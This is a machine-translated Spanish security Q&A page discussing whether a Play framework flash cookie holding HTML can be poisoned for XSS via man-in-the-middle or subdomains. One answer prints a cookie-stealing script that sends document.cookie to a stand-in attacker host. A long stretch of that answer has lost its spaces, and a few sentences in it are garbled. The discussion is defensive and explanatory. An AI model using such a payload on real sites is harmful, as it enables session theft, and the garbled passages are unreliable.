Flash cookie y man-in-the-middle

2

Estoy usando el framework web Scala Play. En él, hay una cookie PLAY_FLASH que se usa para enviar mensajes al usuario (es una cookie por lo que seguirá funcionando después de varios redireccionamientos).

Pongo HTML en la cookie para que pueda incluir enlaces, etc.

Otros detalles:

  • La cookie no es solo para HTTPS.

  • No tengo una Política de seguridad de contenido.

  • No tengo Seguridad de transporte estricta de HTTP (todavía).

Un equipo de pruebas de lápiz informó esto:

  

La cookie PLAY_FLASH se puede utilizar para XSS para el usuario (por ejemplo, a través de MITM sin SSL)

¿Esto es correcto? Sin duda, puedes usar la cookie para XSS si obtienes la información de man-in-the-middle.

Pero si tienes un hombre en el medio, ¿a quién le importa XSS? Tienes las llaves del reino, al menos para ese usuario. Derecho?

    
pregunta Paul Draper 15.08.2014 - 07:57
fuente

3 respuestas

2

Normalmente estaría en lo correcto, sin embargo, no puede protegerse contra esta vulnerabilidad de MITM incluso si utiliza una cookie segura sobre SSL. Esta cookie aún podría ser MITM para inyectar XSS. El informe de prueba de la pluma es correcto: el hecho de que el mecanismo XSS sea una cookie da lugar a la vulnerabilidad de MITM. Esto se debe a que la La misma política de origen para las cookies no trata a los diferentes protocolos y puertos por separado. orígenes:

  

las cookies tienen mecanismos de alcance que son más amplios y esencialmente incompatibles con las reglas de políticas del mismo origen (por ejemplo, como se indicó, no tienen la capacidad de restringir las cookies a un host o protocolo específico), a veces deshaciendo algunos mecanismos de compartimentación de seguridad de contenido que de otro modo serían posibles bajo las reglas de DOM.

Sin la funcionalidad de la cookie, la vulnerabilidad XSS se ha ido y también la vulnerabilidad MITM. Mi objetivo es explicar a continuación con un ejemplo.

Supongamos que escribió un enlace seguro a una cookie con un conjunto de indicadores seguro como

<a href="https://www.example.edu/">University Link</a>

El indicador de seguridad evitará que un MITM lea el valor de la cookie. Sin embargo, un atacante podría MITM cualquier otra conexión HTTP de la víctima a cualquier otro sitio y luego insertar su propia referencia de recursos a su sitio.

Es decir, diga que su víctima visita bbc.co.uk sobre HTTP simple. El MITM intercepta la solicitud HTTP a bbc.co.uk y agrega una solicitud de recurso JavaScript falsa en la página de su sitio, example.com .

<script src="http://example.com/whatever.js"></script>

EntoncespodríanMITMestasolicitud(porqueesHTTPsimple)einsertarunencabezadoSet-Cookieenlarespuesta.Paraquepuedanconfigurarlacookiea

<script>newImage().src='https://evil.example.org?cookie='+escape(document.cookie);</script>

parasobrescribirsucookiesegura.Debidoaqueelnavegadorestáconfigurandolacookiedesdesudominio,serálegibletantoenHTTPcomoenHTTPS.Cuandoelusuariovuelvaavisitarsupágina,estacookieseleeráyluegoseprocesaráenlapágina,yaqueelservidornotieneformadesaberqueestacookieseconfiguróatravésdeHTTP.Aunquelamarcadeseguridadestáconfiguradaensucookieoriginal,estacookiepuedesobrescribirlaycomoelservidorsoloobtienelosparesdenombre/valorynoelvalordelamarcadeseguridad,notieneformadesaberqueestacookieahorahasidoenvenenada..

HTTPStrictTransportSecuritypuedeprotegercontraesto,yaquelaconexiónHTTPsimpleseconvertiráautomáticamenteaHTTPSyluegoseráinmuneaMITMsiemprequelapolíticadeHSTSnocaduque.Además,susitioaúnseríavulnerableantesdequesuusuarioaccedaasusistemautilizandosunavegador,yaqueHSTSaúnnoseestableceráparasudominioamenosquelotengaenlalistaprecargada.Además,algunosnavegadorescomoInternetExploreraúnnoadmitenHSTS.

Enresumen,seríamejoralmacenarestosenlacesocualquiertextoquedeseequeserepresenteparaelladodelservidordelusuarioysimplementealmacenaruntokensegurodentrodelacookiequesepuedebuscarensubasededatos.EstoevitarácualquierataqueXSSutilizandolacookie.Nocifreelvalordelacookie,porquesihay pregunte las fallas criptográficas de Oracle en su sistema, esto podría dejar de funcionar. usted vulnerable Un mejor enfoque sería HMAC el código HTML en la cookie con una clave secreta del lado del servidor, y luego verificar que este MAC sea correcto antes de cualquier representación. Esto evitará que se inyecte cualquier código HTML establecido fuera de la aplicación.

También vea Seguridad de una redirección inicial de http://example.com a https://example.com

    
respondido por el SilverlightFox 15.08.2014 - 10:51
fuente
1

Puede que Man-in-the-middle no sea la única forma de manipular la cookie. Si, por ejemplo, la cookie se utiliza para example.org y tiene subdominios como user1.example.org que no controla o que pueden tener problemas de XSS, entonces será posible configurar la cookie para example.org. de user1.example.org. Probablemente no podrá leerlo, pero puede cambiarlo y, por lo tanto, activar XSS en example.org. Problemas como este ocurrieron en el pasado con los subdominios de wordpress.com.

    
respondido por el Steffen Ullrich 15.08.2014 - 16:32
fuente
0

Creo que el equipo de prueba de la pluma habló mal.

MITM es una amenaza mucho más seria que un XSS, porque el atacante MITM puede monitorear y reemplazar cualquier contenido de su sitio. No es válido quejarse del contenido de un sitio que atribuye un ataque MITM, porque el contenido es irrelevante para un MITM. MITM siempre puede inyectar contenido en su sitio.

XSS es un ataque del lado del cliente al contenido de su sitio. Un ejemplo de un ataque XSS sería un parámetro de formulario que se repite en la página HTML sin validación ni desinfección. Eso permite que un atacante instale un sitio web que enlaza con su sitio web, inyectando contenido que se ejecuta dentro del dominio de seguridad de su sitio web. Por lo tanto, el nombre, ataque de secuencias de comandos de sitio. En ese momento, el atacante puede usar scripts u otros usuarios explotados en su sitio web. No hay MITM. El usuario siempre se está comunicando con su sitio web. El código hostil es inyectado por las vulnerabilidades en su sitio web.

Sin embargo, eso no significa que deba ignorar el aviso de prueba de lápiz. Puede ser que hayan hablado mal, pero hay una vulnerabilidad válida de XSS en esta cookie de PLAY_FLASH. Por ejemplo, si la cookie se configura a partir de un parámetro, se ejecuta y se hace eco en la página web, se podría explotar fácilmente como un XSS.

    
respondido por el Jeff-Inventor ChromeOS 16.08.2014 - 02:58
fuente

Lea otras preguntas en las etiquetas